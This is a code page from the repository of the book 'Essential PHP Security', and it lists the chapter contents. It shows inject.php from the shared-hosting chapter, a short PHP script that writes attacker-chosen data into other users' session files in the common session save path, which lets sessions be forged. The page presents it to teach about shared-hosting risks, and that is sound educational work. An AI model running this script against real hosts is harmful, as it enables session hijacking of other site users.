Essential PHP Security Book Cover
Essential PHP Security by Chris Shiflett
About | Contents | Buy Now | Reviews | Errata | Code
  1. Foreword
  2. Preface
  1. Introduction
  2. Forms and URLs
          ch02.pdf
  3. Databases and SQL
  4. Sessions and Cookies
          ch04.pdf
  5. Includes
  6. Files and Commands
  7. Authentication and Authorization
  8. Shared Hosting
  1. Configuration Directives
  2. Functions
  3. Cryptography
  4. Index

Edit Session Data (inject.php)

(Chapter 8, Shared Hosting - Pg 82)

< Back to Code Repository

<?php
                                                                                                                                          
session_start
();
                                                                                                                                          
$path ini_get('session.save_path');
                                                                                                                                          
foreach (
$_POST as $sess_name => $sess_data)
{
    
$_SESSION $sess_data;
    
$sess_data session_encode();
    
$filename "$path/sess_$sess_name";
                                                                                                                                          
    
$bytes file_put_contents($filename$sess_data);
    echo 
"<p>$bytes bytes written to $filename.</p>";
}
                                                                                                                                          
$_SESSION = array();
                                                                                                                                          
?>
</body>
</html>